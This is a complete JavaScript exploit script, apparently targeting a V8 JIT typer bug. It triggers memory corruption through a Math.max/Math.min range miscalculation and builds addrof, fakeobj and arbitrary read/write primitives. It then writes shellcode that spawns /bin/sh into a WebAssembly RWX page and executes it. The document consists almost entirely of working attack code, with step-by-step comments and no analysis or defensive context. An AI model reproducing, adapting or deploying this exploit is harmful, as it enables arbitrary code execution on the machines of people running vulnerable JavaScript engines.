var buf = new ArrayBuffer(8); var f64 = new Float64Array(buf); var u32 = new Uint32Array(buf); var allArrays; var float_arr_map_idx = 23; var float_arr; var arr_obj; var arr_obj_map_idx = 34; var corrupted_arr; function ftoi(val) { f64[0] = val; return BigInt(u32[0]) + (BigInt(u32[1]) << 32n); } function itof(val) { u32[0] = Number(val & 0xffffffffn); u32[1] = Number(val >> 32n); return f64[0]; } function hex(v) { return '0x' + v.toString(16); } function trigger() { var x = -Infinity; var k = 0; for (var i = 0; i < 1; i += x) { if (i == -Infinity) { x = +Infinity; } if (++k > 10) { break; } } i = Math.max(i, 0x100000800); // After step one: // actual = NaN, inferred = [0x100000800; +Infinity) // representation = double i = Math.min(0x100000801, i); // After step two: // actual = -0x8000000000000000, inferred = [0x100000800, 0x100000801] // representation = int64_t i -= 0x1000007fa; // After step three: // actual = -2042, inferred = [6, 7] // representation = int32_t i >>= 1; // After step four: // actual = -1021, inferred = 3 // representation = int32_t i += 10; // After step five: // actual = -1011, inferred = 13 // representation = int32_t var array = new Array(i); array[0] = 1.1; var float_arr = [1.1, 1.2, 1.3, 1.4]; var arr_obj = [{ "A": 1 }]; return [array, float_arr, i, arr_obj]; } function addrof(obj) { var allArrays = trigger(); var arr_obj = allArrays[3]; var corrupted_arr = allArrays[0]; var orginal_map = corrupted_arr[arr_obj_map_idx]; // save old map arr_obj[0] = obj; corrupted_arr[arr_obj_map_idx] = corrupted_arr[float_arr_map_idx]; // change object map to float map var addr = arr_obj[0]; // get the address corrupted_arr[arr_obj_map_idx] = orginal_map; // set map back return ftoi(addr); } function fakeobj(addr) { var allArrays = trigger(); var corrupted_arr = allArrays[0] var float_arr = allArrays[1]; float_arr[0] = itof(addr); var orginal_map = corrupted_arr[float_arr_map_idx]; // save old map corrupted_arr[float_arr_map_idx] = corrupted_arr[arr_obj_map_idx]; //change float map to object map var fake = float_arr[0]; corrupted_arr[float_arr_map_idx] = orginal_map; //set map back return fake; } while (trigger()[2] != -1011); // loop until trigger the bug // set variable allArrays = trigger(); corrupted_arr = allArrays[0]; float_arr = allArrays[1]; arr_obj = allArrays[3]; var arb_rw_arr = [corrupted_arr[float_arr_map_idx], 1.2, 1.3, 1.4]; function arb_read(addr) { // We have to use tagged pointers for reading, so we tag the addr if (addr % 2n == 0) addr += 1n; // Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // Change the elements pointer using our crafted array to read_addr-0x10 arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // Index 0 will then return the value at read_addr return ftoi(fake[0]); } function initial_arb_write(addr, val) { // Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // Change the elements pointer using our crafted array to write_addr-0x10 arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); // Write to index 0 as a floating point value fake[0] = itof(BigInt(val)); } var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; console.log("wasm: ", hex(addrof(wasm_instance))); var rwx_page_addr = arb_read(addrof(wasm_instance) - 1n + 0x80n); console.log("[+] RWX Wasm page addr: " + hex(rwx_page_addr)); function copy_shellcode(addr, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n; initial_arb_write(backing_store_addr, addr); for (let i = 0; i < shellcode.length; i++) { dataview.setUint8(i, shellcode[i], false); } } // pop bash var shellcode = [0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05]; console.log("[+] Copying shellcode to RWX page"); copy_shellcode(rwx_page_addr, shellcode); console.log("[+] Exec bash"); f();